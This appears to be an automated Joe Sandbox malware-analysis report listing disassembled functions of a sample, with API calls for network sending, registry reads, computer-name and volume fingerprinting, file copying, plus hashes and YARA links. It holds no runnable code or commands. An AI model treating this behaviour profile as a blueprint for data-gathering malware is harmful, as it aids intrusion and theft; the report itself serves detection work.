Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: CreateDirectory$FolderPath$AttributesFile
String ID: 4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$rPw$rPw$voST$voST$wWs$wWs
API String ID: 3316307204-3074812837
Opcode ID: cf23ecdb7527da7299e00f415bd97b58b845b25b47b3636c6af78b8c45fa7f18
Instruction ID: a853874ed536c9bd474eb77e3af6c88be9a67b756cb03c9b1be5446e4954ce44
Opcode Fuzzy Hash: cf23ecdb7527da7299e00f415bd97b58b845b25b47b3636c6af78b8c45fa7f18
Instruction Fuzzy Hash: F39200B0D012ACCBDB25DB64CC98BDDBBB4AB14304F1040E9E549A7282DB745F89DF56

Uniqueness

Uniqueness Score: -1.00%

Function 007E9280 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 383
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,00000000,00000000), ref: 007E96C9

Strings

4oST, xrefs: 007E962C
Ws2_32.dll, xrefs: 007E969A
4oST, xrefs: 007E9660

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: Send
String ID: 4oST$4oST$Ws2_32.dll
API String ID: 121738739-1839276265
Opcode ID: cdf678b945171f57483bed12f26343ce9b08b12624182bc6199fcc46541dc10a
Instruction ID: f28ebc5309c8fdee7b7a302421ba1b30d1161f5cdc8305111d97b7f0f81b84f9
Opcode Fuzzy Hash: cdf678b945171f57483bed12f26343ce9b08b12624182bc6199fcc46541dc10a
Instruction Fuzzy Hash: 9102FE71D04288DFCF25CFA8C8907ADBBB0FF59304F244299E4856B6C6D7741986CB92

Uniqueness

Uniqueness Score: -1.00%

Function 008C1AD0 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 297registryCOMMON

Download Yara Rule

APIs

RegGetValueA.KERNELBASE(80000002,?,?,0001FFFF,?,?,00000104), ref: 008C1E20
GetComputerNameExA.KERNELBASE(00000002,?,00000104), ref: 008C1E8C

Strings

4oST, xrefs: 008C1CD7
%wZ, xrefs: 008C1F15

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: ComputerNameValue
String ID: %wZ$4oST
API String ID: 3585273928-2776467258
Opcode ID: 54b92c4ec61a46067b5e7456050b7d5298719471113aa204dd022c934c7ddb0a
Instruction ID: af11b7a9c470044d3ccf9dfce3693572119a87254a1ccb2c4f0e144496e991de
Opcode Fuzzy Hash: 54b92c4ec61a46067b5e7456050b7d5298719471113aa204dd022c934c7ddb0a
Instruction Fuzzy Hash: 35E1EFB4D0125A8BDB15CF98D986BEEBBB5FF09304F204199E948B7341D7305A85CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 008B3B40 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(?,?,00000000), ref: 008B3DD0
std::_Throw_Cpp_error.LIBCPMT ref: 008B3F34
std::_Throw_Cpp_error.LIBCPMT ref: 008B3F45

Strings

4oST, xrefs: 008B3D17

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CopyFile
String ID: 4oST
API String ID: 4177132511-3759581069
Opcode ID: 5767761375042316f48bc1004e88722ddef0cf674241db17bdb3b9395d5f25d8
Instruction ID: 6e1b3ef6a909b162ec07032cb3ea85e9b8243ff15247a3b1ce853238d2ef22be
Opcode Fuzzy Hash: 5767761375042316f48bc1004e88722ddef0cf674241db17bdb3b9395d5f25d8
Instruction Fuzzy Hash: 3CD168B0D01289DBDB14CFA8C9457EEBBB1FF44304F244299D409B7382DB745A89CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 008A5940 Relevance: 6.1, APIs: 4, Instructions: 99networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 008A596B
socket.WS2_32(?,?,?,?,?,?,00966328,?,?), ref: 008A5A0E
connect.WS2_32(00000000,00936B31,?,?,?,?,00966328,?,?), ref: 008A5A22
closesocket.WS2_32(00000000), ref: 008A5A2D

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: Startupclosesocketconnectsocket
String ID:
API String ID: 3098855095-0
Opcode ID: 1fc0726b8c2d47163a1777d62210ea1775f0e132cbc3710596a9be04d9b19fa3
Instruction ID: 0c886b0a3729bab25810907c02d658accf81bd73a4b17f5f2b1e0dc1e114c6a8
Opcode Fuzzy Hash: 1fc0726b8c2d47163a1777d62210ea1775f0e132cbc3710596a9be04d9b19fa3
Instruction Fuzzy Hash: E531E1726057105BE7209F68C884B6BB7E5FBC6374F101F19F9A9E36D0E330A84486A2

Uniqueness

Uniqueness Score: -1.00%

Function 008C4050 Relevance: 4.6, APIs: 3, Instructions: 77COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,?,?,00840224), ref: 008C40AC
std::_Throw_Cpp_error.LIBCPMT ref: 008C40FF
std::_Throw_Cpp_error.LIBCPMT ref: 008C4110

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$AttributesFile
String ID:
API String ID: 3398192513-0
Opcode ID: a7129008aff9ef043ce9f973722bab700bb88bc5388d8354421d1a9405b08ed8
Instruction ID: 17145c76412930ac8bfb258783d798cbad2115026708a428a4b0f998aa00b86d
Opcode Fuzzy Hash: a7129008aff9ef043ce9f973722bab700bb88bc5388d8354421d1a9405b08ed8
Instruction Fuzzy Hash: 89119770585A009ACF205B2C9865BA977B8FB02734F24132CE531DB6C1DA33C8E88252

Uniqueness

Uniqueness Score: -1.00%

Function 008C2BA0 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 352COMMON

Download Yara Rule

APIs

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 008C2F4B

Strings

4oST, xrefs: 008C2FC6

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: InformationVolume
String ID: 4oST
API String ID: 2039140958-3759581069
Opcode ID: dc1705a65f54ce53c446a237f6fbc5af0e26f1c731dc7500268ce31d712d7f7d
Instruction ID: 44ef9237dead00bb9bbd4c0e593512390115f6fe7841cc7fa5d7fc557f792a42
Opcode Fuzzy Hash: dc1705a65f54ce53c446a237f6fbc5af0e26f1c731dc7500268ce31d712d7f7d
Instruction Fuzzy Hash: 7CF124B0D012499FDB15CFA8C995BEEBBB1FF08304F24419DE505BB281D7719A85CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00871680 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 267registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,?,00000000,00000001,?), ref: 008718A9

Strings

4oST, xrefs: 008717B6

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: Open
String ID: 4oST
API String ID: 71445658-3759581069
Opcode ID: 1d1720721fb1871f0153a4ff40496e15c75b45bb4fc488ccb8d65c2b586a9841
Instruction ID: 228c273cf4dfa4b5ee3715122410066b9a569711a1ced744e2f57b5a527d6bba
Opcode Fuzzy Hash: 1d1720721fb1871f0153a4ff40496e15c75b45bb4fc488ccb8d65c2b586a9841
Instruction Fuzzy Hash: 00C106B0D052599FDB14CFA8D986BEEBBB1FF08310F244159E918B7381D7355A848FA2

Uniqueness

Uniqueness Score: -1.00%

Function 008C49F0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 008C4B5C

Strings

4oST, xrefs: 008C4AB2

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: __fread_nolock
String ID: 4oST
API String ID: 2638373210-3759581069
Opcode ID: 6925bc6324edaec5e88e7729c953a0bbc247a848d35e42b129678f923987df46
Instruction ID: d39adb509bd8eab70034618e615fb912e3f7abc0e7af2b83caac003821128241
Opcode Fuzzy Hash: 6925bc6324edaec5e88e7729c953a0bbc247a848d35e42b129678f923987df46
Instruction Fuzzy Hash: 94515CB0D006499BDB10DF98C942BAEFBB5FF44714F10011DE845AB381D7759A45CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 008C4870 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 008C49B9

Strings

4oST, xrefs: 008C4912

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: __fread_nolock
String ID: 4oST
API String ID: 2638373210-3759581069
Opcode ID: db061e9de23f5f8202d7e2e2c694837eae044b1b3accbf13162f0646b98e28b5
Instruction ID: 3e24c6b55f28aa0a2ff7f403a2f8ab713de06476c3ea8e80d309b57febb5e35b
Opcode Fuzzy Hash: db061e9de23f5f8202d7e2e2c694837eae044b1b3accbf13162f0646b98e28b5
Instruction Fuzzy Hash: A64139B0D00258DFCB04DF99D882BEEBBB4FF48704F104159E814AB381D7799946CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00828900 Relevance: 3.3, APIs: 2, Instructions: 297COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
